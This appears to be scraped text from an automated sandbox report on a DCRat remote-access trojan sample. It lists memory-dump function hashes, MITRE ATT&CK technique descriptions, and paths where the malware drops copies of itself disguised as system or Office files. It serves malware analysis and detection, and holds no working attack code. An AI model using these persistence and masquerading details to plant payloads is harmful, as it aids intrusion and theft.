Opcode Fuzzy Hash: 5328a544fc953547a1683b1464449211c6f4a1b03ce960801dcc0824d7933cd5
Instruction Fuzzy Hash: 45F0123091564E9FDF90EFA4C4596FE77E0FF54304F014576E81CD2164DA74A6A0CB80

Function 00007FFD9BAF51D0 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4155210601.00007FFD9BAF5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9baf5000_IVZOsmCYXrNLQFseWyMXmbGFywtSr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9724000df2561613c61a3106083685f15c66368ee177fc66bc334b33ece4f9c7
Instruction ID: f28408bdef487f66261f27d2108d2ad800c9c575d998e5e1f0d7a6c605b1bd6a
Opcode Fuzzy Hash: 9724000df2561613c61a3106083685f15c66368ee177fc66bc334b33ece4f9c7
Instruction Fuzzy Hash: 27F03030915A4D8FDB80EFA8C8596EA7BF0FF58305F004566E81CC2160DA70A6A0CB80

Function 00007FFD9C1C6213 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4163819905.00007FFD9C1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9c1c0000_IVZOsmCYXrNLQFseWyMXmbGFywtSr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a08b96c2c3c52d938a0356c520f7e4367da09abcfd95a5d3cee8a74b05e8204
Instruction ID: c19f70b915bb44704839ed4e64a3225e1661d6c58f50fcaa0c65da7ad1e59b72
Opcode Fuzzy Hash: 1a08b96c2c3c52d938a0356c520f7e4367da09abcfd95a5d3cee8a74b05e8204
Instruction Fuzzy Hash: 3AE09253F9C68746EBB4B6D415655F837B0EF68390F000539F48AA2186CE1D6841A645

Function 00007FFD9C1C6265 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4163819905.00007FFD9C1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9c1c0000_IVZOsmCYXrNLQFseWyMXmbGFywtSr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1054d29f506908b0c0a6969425b9c97ce23598f058b72e3dd3cdeba3615b3f21
Instruction ID: e10b32b859baa3fe10eb039e6c6588c63aceae0b84881ea9ff8fc2e2efcad7cf
Opcode Fuzzy Hash: 1054d29f506908b0c0a6969425b9c97ce23598f058b72e3dd3cdeba3615b3f21
Instruction Fuzzy Hash: D2E0DF32C5D2CA8FDB71EB60C9660EC7F70BF61380F1801EBE50816082DB286A18924A

Function 00007FFD9C1C6240 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4163819905.00007FFD9C1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9c1c0000_IVZOsmCYXrNLQFseWyMXmbGFywtSr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b75986d81e868fcabd2b6de75d6299dcb88e765dfe041ab09f3fb61fa0c6681
Instruction ID: fab60bec681df45896fc9073fe726317864c5348a11c9496a8498084c7cb5778
Opcode Fuzzy Hash: 5b75986d81e868fcabd2b6de75d6299dcb88e765dfe041ab09f3fb61fa0c6681
Instruction Fuzzy Hash: 2CD05B22F8C9078BE778B69490245F932F09F643407200479E05FD15D0DD1878805645

Function 00007FFD9C1C8A37 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4163819905.00007FFD9C1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9c1c0000_IVZOsmCYXrNLQFseWyMXmbGFywtSr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9be2bf80a53cff351c0813d8abc5caab825ac70d771e7df8de00f5470f175f08
Instruction ID: d999437a2eea5d1950360a6109aaea054773593bff82b5680bd06f0c0e2b893a
Opcode Fuzzy Hash: 9be2bf80a53cff351c0813d8abc5caab825ac70d771e7df8de00f5470f175f08
Instruction Fuzzy Hash: DEE08C02A4E3834FFB7626B408A10682AA08F073C470609B7E14AAA283C86468049329

Function 00007FFD9C3EFBDE Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4167682191.00007FFD9C3E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C3E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9c3e0000_IVZOsmCYXrNLQFseWyMXmbGFywtSr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0cf7c073396604d2d457534f768ef18211fe96da1bbf8ed619173dd1b10e7001
Instruction ID: 09d06ad3889ddf4b4f0db23cbbfee91728def23a7bcc38a7be36465e1f60fe8b
Opcode Fuzzy Hash: 0cf7c073396604d2d457534f768ef18211fe96da1bbf8ed619173dd1b10e7001
Instruction Fuzzy Hash: B0D0A73160C406DFD7A8EB94C064C3133B0EF1938031200D8D007C71B1CA14AD40CBA0

Function 00007FFD9C1C950B Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4163819905.00007FFD9C1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9c1c0000_IVZOsmCYXrNLQFseWyMXmbGFywtSr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3337fcae80d6df5a85af12ddc4cc5443d92bf4b6482dcc50cb92599892534a09
Instruction ID: 24a8cb84f673800db0ec1867428fab16fba661c24daf3c212d2377f4b7f1e386
Opcode Fuzzy Hash: 3337fcae80d6df5a85af12ddc4cc5443d92bf4b6482dcc50cb92599892534a09
Instruction Fuzzy Hash: B5D0C966B8EA13C5F6387AC1903027A11B15F02780E6000BEF09F628C1CD1CB5016609

Function 00007FFD9C3F159C Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4167682191.00007FFD9C3E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C3E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9c3e0000_IVZOsmCYXrNLQFseWyMXmbGFywtSr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a368f635e5c49a98bee224e1760f1bc604b916a14cbc26451dd85852b8807bf
Instruction ID: 1c7b314ed1e31a062216ecfcb56f0db4fef225fe88aab0fb6a05fcd81d31febd
Opcode Fuzzy Hash: 5a368f635e5c49a98bee224e1760f1bc604b916a14cbc26451dd85852b8807bf
Instruction Fuzzy Hash: 80C08C00F0E34317F63262F0442003E10600B022417110A79900B4D2D3DC1C6C042220

Non-executed Functions

Function 00007FFD9C3E1135 Relevance: 6.3, Strings: 5, Instructions: 69COMMON

Download Yara Rule

Strings

^^;a, xrefs: 00007FFD9C3E119B
`, xrefs: 00007FFD9C3E11A6
^^7c, xrefs: 00007FFD9C3E118B
^^/g, xrefs: 00007FFD9C3E116B
^^+i, xrefs: 00007FFD9C3E115B

Memory Dump Source

Source File: 00000005.00000002.4167682191.00007FFD9C3E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C3E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9c3e0000_IVZOsmCYXrNLQFseWyMXmbGFywtSr.jbxd

Similarity

API ID:
String ID: ^^+i$^^/g$^^7c$^^;a$`
API String ID: 0-2015551378
Opcode ID: cab6df7d07bd9e3892509393318cc5cba40044640b4093933f30c3afa74ec167
Instruction ID: e471fc2c0a800f5624eb1f47c31032fae5638fad388da525739ebf850814515b
Opcode Fuzzy Hash: cab6df7d07bd9e3892509393318cc5cba40044640b4093933f30c3afa74ec167
Instruction Fuzzy Hash: 5421F933A186198BD724BEA868462F9B350FF1933EF0443B7E55E4E0D7DA246181C385

Function 00007FFD9BAC09B0 Relevance: 5.2, Strings: 4, Instructions: 186COMMON

Download Yara Rule

Strings

c9, xrefs: 00007FFD9BAC0B56
#{9, xrefs: 00007FFD9BAC0B3E
!k9, xrefs: 00007FFD9BAC0B4E
"s9, xrefs: 00007FFD9BAC0B46

Memory Dump Source

Source File: 00000005.00000002.4155210601.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9bac0000_IVZOsmCYXrNLQFseWyMXmbGFywtSr.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9$#{9
API String ID: 0-1692736845
Opcode ID: ef4cd0d00b8f9c7a60c06b089e923553b4e3620111a6eb6daabff02b04935d66
Instruction ID: c79527826d62ecb8ab3bcc95e40d69ffe175ccff7e21ed346c950d61e60cf498
Opcode Fuzzy Hash: ef4cd0d00b8f9c7a60c06b089e923553b4e3620111a6eb6daabff02b04935d66
Instruction Fuzzy Hash: 66515D06B0A46A45E239B7FD78219FD6B448FA933FB0843B7F85E8D0D74D486085C2D9

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report aW6kSsgdvv.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DCRat

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Microsoft Office\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

C:\Program Files (x86)\Microsoft Office\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe:Zone.Identifier

C:\Program Files (x86)\Microsoft Office\bac0f074c202d5

C:\Program Files (x86)\Windows NT\TableTextService\en-US\5940a34987c991

C:\Program Files (x86)\Windows NT\TableTextService\en-US\dllhost.exe

C:\Program Files (x86)\Windows NT\TableTextService\en-US\dllhost.exe:Zone.Identifier

C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe:Zone.Identifier

C:\Program Files\WindowsPowerShell\Configuration\bac0f074c202d5

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\aW6kSsgdvv.exe.log

Windows Analysis Report
aW6kSsgdvv.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre